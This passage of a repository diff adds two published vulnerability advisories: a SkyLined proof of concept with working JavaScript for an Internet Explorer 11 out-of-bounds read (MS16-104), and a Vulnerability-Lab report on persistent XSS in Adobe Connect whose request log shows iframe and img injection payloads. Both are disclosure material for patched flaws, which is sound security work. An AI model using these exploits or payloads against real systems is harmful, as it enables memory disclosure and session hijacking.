// 78 00 00 00 41 41 00 00 | "x\0\u4141\0"
|
||||||
|
// ^- start --------- end -^
|
||||||
|
// Now have the code attempt to read the fifth character and access OOB data:
|
||||||
|
document.documentElement.style.setProperty("textdecorationblink", "x");
|
||||||
|
// This work by SkyLined is licensed under a Creative Commons
|
||||||
|
// Attribution-Non-Commercial 4.0 International License.
|
||||||
|
</script>
|
||||||
|
|
||||||
|
Description
|
||||||
|
|
||||||
|
Certain code that handles CSS properties in MSIE assumes that the property value is always a string set to either "true" or "false". To determine which of these two values it is, the code checks if the fifth character is '\0'. However, it is possible to set such values to arbitrary strings, including a smaller string. This causes the code to read beyond the end of the string and allows an attacker to determine if an WORD stored after the string is '\0'.
|
||||||
|
|
||||||
|
The vulnerable code is in MSHTML!PROPERTYDESC::HandleStyleComponentProperty. This code is heavily branched to handle various types of CSS properties. Luckily, the type being exploited is one of the first to be handled. The code appears to assume that the value is provided as a pointer to a BSTR which will always have a WCHAR at offset +8 that may be '\0' or not. If this WCHAR is not '\0', a CSS property is set to a certain value, otherwise it is set to an empty string. As long as this BSTR is always either be "true" or "false", this code works as expected. However, it is possible to provide an arbitrary value for this BSTR, which can be shorter than 4 WCHARs. This would causing the code to read a WCHAR outside of the memory used to store that BSTR.
|
||||||
|
|
||||||
|
In the repro, we used Heap Feng-Shui to put a BSTR containing 3 WCHARs in the OLEAUT32 cache. This causes MSIE to allocate 12 byte of memory to store the string: 4 bytes to store the DWORD length of the BSTR, 6 to store the characters, and 2 to store a "\0" terminator. This memory is then reused to store a 1 WCHAR string "x". When the code attempts to check if the fifth character in this his BSTR is '\0', it will attempt to read the two bytes at offset 14 (The characters are stored at offset 4, after the DWORD length, and the fifth character is at offset 10 from the first). This causes the code to read outside of the bounds of that BSTR and trigger an access violation. (On x86 systems, page heap will provide some padding at the end of the string, causing the code to read these padding bytes, so no AV happens).
|
||||||
|
|
||||||
|
Known properties of the type that leads to the vulnerable code path include textDecorationBlink, textDecorationLineThrough, textDecorationLineNone, textDecorationOverline, and textDecorationUnderline.
|
||||||
|
|
||||||
|
Exploit
|
||||||
|
|
||||||
|
The value of a CSS property is updated based on the value of the fifth WCHAR, and this CSS property can be read from Javascript to determine if this WCHAR was '\0' or not. This allows a limited form of information disclosure. During my testing, I used the textDecorationBlink property, which can be used to set the CSS text-decoration property to "blink" or an empty string.
|
||||||
|
|
||||||
|
Using Heap-Feng Shui, it may be possible to reuse memory allocated for other strings that have since been freed and determine if they had a '\0' WCHAR as their fifth character. This includes strings to should normally not be accessible to the website, such as those from a different origin. Also using Heap Feng-Shui, it may be possible to allocate some interesting object immediately following the string, in order to determine if a WORD at the start of that object is 0 or not.
|
||||||
|
|
||||||
|
The "exploit" provided below shows that it is possible to determine if the fifth WCHAR of the last freed BSTR was '\0' or not.
|
||||||
|
|
||||||
|
Time-line
|
||||||
|
|
||||||
|
Februari 2016: This vulnerability was found through fuzzing.
|
||||||
|
Februari 2016: This vulnerability was submitted to ZDI, iDefense and EIP.
|
||||||
|
March-July 2016: ZDI, iDefense and EIP all either reject the submission or fail to respond.
|
||||||
|
July 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
|
||||||
|
August 2016: Microsoft is granted an 11 day extension to the deadline to address it in September's Patch Tuesday.
|
||||||
|
September 2016: The vulnerability was address by Microsoft in MS16-104.
|
||||||
|
November 2016: Details of this issue are released.
|
||||||
|
-->
|
||||||
|
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
|
||||||
|
<script>
|
||||||
|
// This PoC attempts to exploit a memory disclosure bug in Microsoft Internet
|
||||||
|
// Explorer 11. See http://blog.skylined.nl/20161109001.html for details.
|
||||||
|
var sSetPropertyName = "textdecorationblink", //textDecorationLineThrough, textDecorationLineNone, textDecorationOverline, textDecorationUnderline
|
||||||
|
sGetPropertyName = "text-decoration",
|
||||||
|
sPropertyValue = "blink";
|
||||||
|
function fbTest(sTest) {
|
||||||
|
var o = document.createElement("x");
|
||||||
|
// Cleanup, potentially fill OLEAUT32 BSTR cache
|
||||||
|
CollectGarbage();
|
||||||
|
// Empty the smallest BSTR bucket of the OLEAUT32 cache and defragement the small chunks heap.
|
||||||
|
o.setAttribute("a", "1");
|
||||||
|
o.setAttribute("b", "2");
|
||||||
|
o.setAttribute("c", "3");
|
||||||
|
o.setAttribute("d", "4");
|
||||||
|
o.setAttribute("e", "5");
|
||||||
|
o.setAttribute("f", "6");
|
||||||
|
// Add the <sTest> BSTR to the smallest bucket of the OLEAUT32 BSTR cache.
|
||||||
|
o.setAttribute("x", sTest);
|
||||||
|
o.removeAttribute("x");
|
||||||
|
// reused the <sTest> memory and overwrite the first two chars with 'x' and '\0', then read from offset +8
|
||||||
|
o.style.setProperty(sSetPropertyName, "x");
|
||||||
|
var bResult = o.style.getPropertyValue(sGetPropertyName) == sPropertyValue;
|
||||||
|
alert(JSON.stringify(sTest) + "=>" + bResult);
|
||||||
|
};
|
||||||
|
fbTest("12345"); // true
|
||||||
|
fbTest("1234\0"); // false
|
||||||
|
fbTest("1234"); // false
|
||||||
|
fbTest("123"); // (AV on x64 if page heap enabled).
|
||||||
|
// This work by SkyLined is licensed under a Creative Commons
|
||||||
|
// Attribution-Non-Commercial 4.0 International License.
|
||||||
|
</script>
|
||||||
|
|
255
platforms/windows/webapps/40742.txt
Executable file
255
platforms/windows/webapps/40742.txt
Executable file
|
@ -0,0 +1,255 @@
|
||||||
|
Document Title:
|
||||||
|
===============
|
||||||
|
Adobe Connect & Desktop v9.5.7 - Persistent Vulnerability
|
||||||
|
|
||||||
|
|
||||||
|
References (Source):
|
||||||
|
====================
|
||||||
|
http://www.vulnerability-lab.com/get_content.php?id=1838
|
||||||
|
|
||||||
|
Security ID: PSIRT-5180
|
||||||
|
|
||||||
|
Bulletin: https://helpx.adobe.com/security/products/connect/apsb16-35.html
|
||||||
|
|
||||||
|
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-7851
|
||||||
|
|
||||||
|
Public News Article: http://www.securityweek.com/adobe-patches-9-flash-player-flaws-reported-zdi
|
||||||
|
|
||||||
|
|
||||||
|
CVE-ID:
|
||||||
|
=======
|
||||||
|
CVE-2016-7851
|
||||||
|
|
||||||
|
|
||||||
|
Release Date:
|
||||||
|
=============
|
||||||
|
2016-11-09
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Laboratory ID (VL-ID):
|
||||||
|
====================================
|
||||||
|
1838
|
||||||
|
|
||||||
|
|
||||||
|
Common Vulnerability Scoring System:
|
||||||
|
====================================
|
||||||
|
3.7
|
||||||
|
|
||||||
|
|
||||||
|
Product & Service Introduction:
|
||||||
|
===============================
|
||||||
|
Whether it is a smartphone or tablet app, a game, a video, a digital magazine, a website, or an online experience,
|
||||||
|
chances are that it was touched by Adobe technology. Our tools and services enable our customers to create
|
||||||
|
groundbreaking digital content, deploy it across media and devices, and then continually measure and optimize it
|
||||||
|
based on user data. By providing complete solutions that combine digital media creation with data-driven marketing,
|
||||||
|
we help businesses improve their communications, strengthen their brands, and ultimately achieve greater business success.
|
||||||
|
|
||||||
|
(Copy of the Vendor Homepage: http://www.adobe.com/aboutadobe/)
|
||||||
|
|
||||||
|
|
||||||
|
Abstract Advisory Information:
|
||||||
|
==============================
|
||||||
|
The vulnerability laboratory core research team discovered an application-side vulnerability in the Adobe Connect online web-application and v9.5.6 windows software.
|
||||||
|
|
||||||
|
|
||||||
|
Vulnerability Disclosure Timeline:
|
||||||
|
==================================
|
||||||
|
2016-04-27: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
|
||||||
|
2016-04-28: Vendor Notification (PSIRT Adobe Security Team)
|
||||||
|
2016-04-29: Vendor Response/Feedback (PSIRT Adobe Security Team)
|
||||||
|
2016-10-20: Vendor Fix/Patch (Adobe Service Developer Team)
|
||||||
|
2016-11-08: Security Acknowledgements (Adobe Security Team)
|
||||||
|
2016-11-09: Public Disclosure (Vulnerability Laboratory)
|
||||||
|
|
||||||
|
|
||||||
|
Discovery Status:
|
||||||
|
=================
|
||||||
|
Published
|
||||||
|
|
||||||
|
|
||||||
|
Affected Product(s):
|
||||||
|
====================
|
||||||
|
Adobe Systems
|
||||||
|
Product: Adobe Connect - Online Service (Web-Application) 2016 Q2
|
||||||
|
|
||||||
|
|
||||||
|
Exploitation Technique:
|
||||||
|
=======================
|
||||||
|
Remote
|
||||||
|
|
||||||
|
|
||||||
|
Severity Level:
|
||||||
|
===============
|
||||||
|
Medium
|
||||||
|
|
||||||
|
|
||||||
|
Technical Details & Description:
|
||||||
|
================================
|
||||||
|
An application-side input validation and xss vulnerability has been discovered in the Adobe Connect online web-application and v9.5.6 windows software.
|
||||||
|
The input validation and filter issue allows remote attackers to inject own malicious script codes to the server-side of the vulnerable modules context.
|
||||||
|
|
||||||
|
The vulnerability is located in the `firstname`,`lastname` and `companyname` parameter of the `event_registration.html` file submit POST method request.
|
||||||
|
Remote attackers are able to inject own malicious script codes in the vulnerable parameters POST method request to manipulate the adobe connect events
|
||||||
|
service emails for the webinar registration module. The email body does not encode the input values and the registration is not restricted on inputs as
|
||||||
|
well, which results in the application-side script code execution. Attackers are also able to followup the webinar links with the injected credentials
|
||||||
|
which may be result in a second persistent script code execution as well. The injection point is the registration input form of the webinar in adobe
|
||||||
|
connect and the execution point occurs in the email body context of the admin@adobeconnect.com email address.
|
||||||
|
|
||||||
|
The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
|
||||||
|
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.
|
||||||
|
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources
|
||||||
|
and persistent manipulation of affected or connected service module context.
|
||||||
|
|
||||||
|
Request Method(s): Inject
|
||||||
|
[+] POST
|
||||||
|
|
||||||
|
Vulnerable Module(s):
|
||||||
|
[+] Events - Webinar Registration Form
|
||||||
|
|
||||||
|
Vulnerable File(s):
|
||||||
|
[+] event_registration.html
|
||||||
|
|
||||||
|
Vulnerable Parameter(s):
|
||||||
|
[+] firstname
|
||||||
|
[+] lastname
|
||||||
|
[+] companyname
|
||||||
|
|
||||||
|
Affected Module(s):
|
||||||
|
[+] (admin@adobeconnect.com)
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept (PoC):
|
||||||
|
=======================
|
||||||
|
The persistent vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
|
||||||
|
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
|
||||||
|
|
||||||
|
|
||||||
|
Manual steps to reproduce the vulnerability ...
|
||||||
|
1. Open your mailbox and click to the portals webinar email for administrators
|
||||||
|
2. Surf to the signup registration of adobe connect next to the events reck
|
||||||
|
3. Inject to the firstname, lastname and companyname your own script code payload
|
||||||
|
4. Submit the POST request to get activated for the webinar to hackerone via adobe connect
|
||||||
|
5. Check the local input of the registered account
|
||||||
|
6. The script code payloads of the name values are replied by the email service without secure encode
|
||||||
|
Note: The execution of the payloads occurs directly after the arrival and view
|
||||||
|
7. Now choose in the email the link to the webinar that is connected to the name values
|
||||||
|
8. Join the channel and write a message for interaction
|
||||||
|
9. The code executes in several sections of the webinar adobe connect events service with persistent vector
|
||||||
|
10. Successful reproduce of the both application-side vulnerabilities in adobe via hackerone!
|
||||||
|
|
||||||
|
|
||||||
|
PoC: event_registration.html
|
||||||
|
<div style="font-size: 12pt;color: #1d1d1d;font-family: Tahoma;font-style: normal;background-color: #FFFFFF;">
|
||||||
|
<p>>"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]></p>
|
||||||
|
<p>We are pleased to confirm your registration for The Art and Science of Bug Bounty Triage - April 28, 2016. We look forward to your participation in the event.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
--- PoC Session Logs [POST] ---
|
||||||
|
Status: 200[OK]
|
||||||
|
POST https://events-na1.adobeconnect.com/content/connect/connect-action?sco-id=2159915051
|
||||||
|
Mime Type[text/html]
|
||||||
|
Request Header:
|
||||||
|
Host[events-na1.adobeconnect.com]
|
||||||
|
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
|
||||||
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||||
|
Accept-Language[de,en-US;q=0.7,en;q=0.3]
|
||||||
|
Accept-Encoding[gzip, deflate, br]
|
||||||
|
Referer[https://events-na1.adobeconnect.com/content/connect/c1/2152090704/en/events/event/shared/2159889590/event_registration.html?sco-id=2159915051&campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2&_charset_=utf-8]
|
||||||
|
Cookie[2159915051_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; connectevent_campaign-id=DG-EM-Art%20of%20Triage-2Q2016-2; BREEZESESSION=na1breezpuz9xczd47kqnkqt; time-zone=Europe%2FBerlin; s_cc=true; s_sq=acnapvtpyd8zd0ka1b3qdt5jp4i76%3D%2526pid%253Dhttps%25253A%25252F%25252Fevents-na1.adobeconnect.com%25252Fcontent%25252Fconnect%25252Fc1%25252F2152090704%25252Fen%25252Fevents%25252Fevent%25252Fshared%25252F2159889590%25252Fevent_registration.html%25253Fsco-id%25253D2159915051%252526campaign-id%25253DDG-EM-Art%25252520of%25252520Triage-2Q2016-2%252526_charset_%25253Dutf-8%2526oid%253Dfunctiononclick(event)%25257BregFormSubmit()%25253B%25257D%2526oidt%253D2%2526ot%253DA]
|
||||||
|
Connection[keep-alive]
|
||||||
|
POST-Daten:
|
||||||
|
2159915054[Yes]
|
||||||
|
2159915055[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
||||||
|
2159915056[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E+++%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
||||||
|
2159915057[adasfaf+asfasdfasfasfasdfsdfs]
|
||||||
|
login[bkm%40evolution-sec.com]
|
||||||
|
first-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
||||||
|
last-name[%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E]
|
||||||
|
campaign-id[DG-EM-Art%2520of%2520Triage-2Q2016-2]
|
||||||
|
sco-id[2159915051]
|
||||||
|
reg-form-back[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html]
|
||||||
|
reg-form-success[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.result.html]
|
||||||
|
action[event-register]
|
||||||
|
_charset_[UTF-8]
|
||||||
|
login-uri[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.login.html%3Flogin-ok%3D%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fevent_registration.html%26sco-id%3D2159915051]
|
||||||
|
set-lang[en]
|
||||||
|
reg-confirm-page[%2Fcontent%2Fconnect%2Fc1%2F2152090704%2Fen%2Fevents%2Fevent%2Fshared%2F2159889590%2Fregistration_confirm.html]
|
||||||
|
Response Header:
|
||||||
|
Connection[Keep-Alive]
|
||||||
|
Server[Day-Servlet-Engine/4.1.24]
|
||||||
|
Content-Type[text/html;charset=UTF-8]
|
||||||
|
Date[Wed, 27 Apr 2016 08:56:07 GMT]
|
||||||
|
Transfer-Encoding[chunked]
|
||||||
|
Set-Cookie[2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connectconnectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
2159915051_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect
|
||||||
|
connectevent_campaign-id=DG-EM-Art%2520of%2520Triage-2Q2016-2; Path=/content/connect]
|
||||||
|
|
||||||
|
|
||||||
|
Reference(s):
|
||||||
|
https://events-na1.adobeconnect.com/
|
||||||
|
https://events-na1.adobeconnect.com/content/
|
||||||
|
https://events-na1.adobeconnect.com/content/connect/
|
||||||
|
https://events-na1.adobeconnect.com/content/connect/connect-action
|
||||||
|
|
||||||
|
|
||||||
|
Solution - Fix & Patch:
|
||||||
|
=======================
|
||||||
|
The vulnerability can be patched by a secure parse and encode of the vulnerable firstname, lastname and companyname input fields in
|
||||||
|
the registration file POST method request.
|
||||||
|
Dissallow the usage of special chars and restrict the input to prevent further script code injection attacks.
|
||||||
|
Encode the email body context of the adobe connect service mails after the registration. Block script code tags or escape and encode them as well.
|
||||||
|
|
||||||
|
Please follow the instructions in the adobe security bulletin to resolve the issue - Adobe Connect 9.5.7 windows desktop version.
|
||||||
|
URL: https://helpx.adobe.com/adobe-connect/release-note/adobe-connect-9-5-7-release-notes.html
|
||||||
|
|
||||||
|
|
||||||
|
Security Risk:
|
||||||
|
==============
|
||||||
|
The security risk of the application-side vulnerability in the events webinar web-application and windows desktop software is estimated as medium. (CVSS 3.7)
|
||||||
|
|
||||||
|
|
||||||
|
Credits & Authors:
|
||||||
|
==================
|
||||||
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]
|
||||||
|
|
||||||
|
|
||||||
|
Disclaimer & Information:
|
||||||
|
=========================
|
||||||
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied,
|
||||||
|
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage,
|
||||||
|
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised
|
||||||
|
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing
|
||||||
|
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
|
||||||
|
|
||||||
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||||
|
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||||
|
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
|
||||||
|
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||||
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||||
|
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php
|
||||||
|
|
||||||
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically
|
||||||
|
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or
|
||||||
|
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific
|
||||||
|
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@vulnerability-lab.com) to get a ask permission.
|
||||||
|
|
||||||
|
Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™
|
||||||
|
|
||||||
|
--
|
||||||
|
VULNERABILITY LABORATORY - RESEARCH TEAM
|
||||||
|
SERVICE: www.vulnerability-lab.com
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue